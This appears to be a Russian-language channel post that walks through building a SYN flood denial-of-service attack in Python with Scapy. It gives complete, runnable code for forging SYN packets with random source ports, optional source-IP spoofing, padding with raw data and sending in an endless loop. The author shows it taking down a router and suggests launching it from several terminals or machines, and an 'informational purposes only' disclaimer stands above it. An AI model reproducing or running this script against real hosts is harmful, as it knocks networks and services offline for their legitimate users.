Как сделать атаку SYN Flooding в Python?

Как сделать атаку SYN Flooding в Python?

Buratinopol

Buratinopol - не забудь подписаться на канал!

Приятного прочтения!
Мы не призываем вас к каким-либо действиям, статья написана исключительно в ознакомительных целях, чтобы уберечь читателя от противоправных действий.

TCP SYN flood использует первую часть TCP three-way handshake, и поскольку каждое соединение, использующее протокол TCP, требует этого, эта атака оказывается опасной и может вывести из строя несколько сетевых компонентов.

Чтобы понять SYN flood, нам сначала нужно поговорить о TCP three-way handshake:

TCP Трехстороннее рукопожатие

Когда клиент хочет установить соединение с сервером по протоколу TCP, клиент и сервер обмениваются сериями сообщений:

  • Клиент запрашивает соединение, отправляя SYN-сообщение на сервер.
  • Сервер отвечает сообщением SYN-ACK (подтверждает запрос).
  • Клиенты отвечают с ACK, а затем соединение запускается.

SYN flood attack включает в себя злонамеренного пользователя, который отправляет SYN-пакеты повторно, не отвечая ACK, и часто с разными исходными портами, что делает сервер неосведомленным об атаке, и отвечает на каждую попытку SYN-ACK-пакетом из каждого порта (красная и зеленая часть изображения выше). Таким образом, сервер быстро перестанет отвечать на запросы законных клиентов.

В этом уроке мы реализуем атаку SYN flood с помощью библиотеки Scapy на Python. Чтобы начать работу, вам необходимо установить Scapy:

pip3 install scapy

Копировать

Откройте новый файл Python и импортируйте Scapy:

from scapy.all import *

Копировать

Я собираюсь проверить это на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:

# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80

Копировать

Если вы хотите попробовать это против вашего маршрутизатора, убедитесь, что у вас есть правильный IP-адрес, вы можете получить адрес шлюза по умолчанию через ipconfigip routeкоманды и в Windows и macOS/Linux соответственно.

Целевой порт-HTTP, так как я хочу затопить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:

# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

Копировать

Мы указали в dstкачестве целевого IP-адреса, мы также можем установить srcадрес на поддельный случайный IP-адрес в диапазоне частной сети (код комментария), и он также будет работать.

Давайте подделаем наш TCP слой:

# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

Копировать

Таким образом , мы устанавливаем исходный порт (sport) на случайный короткий (который колеблется от 1 до 65535, как и порты) и dport(порт назначения) в качестве нашего целевого порта, в этом случае это служба HTTP.

Мы также устанавливаем флаги, на "S"которые указывает тип SYN.

Теперь давайте добавим некоторые наводнения необработанных данных, чтобы занять сеть:

# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)

Копировать

Потрясающе, теперь давайте сложим слои и отправим пакет:

# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected 
send(p, loop=1, verbose=0)

Копировать

Поэтому мы использовали send()функцию, которая отправляет пакеты на уровне 3, мы установили loopзначение 1, чтобы продолжать посылать до тех пор, пока не нажмем CTRL+C, установка verboseна 0 ничего не напечатает во время процесса (бесшумно).

Сценарий готов! Теперь, после того как я запустил это против своего маршрутизатора, это заняло несколько секунд, и, конечно же, маршрутизатор перестал работать, и я потерял соединение:

Маршрутизатор перестал работать после успешной атаки SYN flooding с использованием Scapy

Это вывод следующей команды в Windows:

$ ping -t "192.168.1.1"

Копировать

Он был захвачен с другой машины, отличной от атакующего, поэтому маршрутизатор больше не отвечает.

Чтобы вернуть все в норму, вы можете либо остановить атаку (нажав CTRL+C), если устройство все еще не отвечает, продолжайте и перезагрузите его.

Вывод

Хорошо! если вы попытаетесь запустить скрипт на локальном компьютере, то заметите, что компьютер становится занятым, и задержка значительно увеличится. Вы также можете запустить скрипт на нескольких терминалах или даже на других машинах, чтобы посмотреть, сможете ли вы отключить сеть вашего локального компьютера!

SOFTWARE хранилище приватных софтов и прочей годноты. Подпишись!

CODINGпрограммирование доступным языком.

Termux - one — гайды и статьи по Termux.

Report Page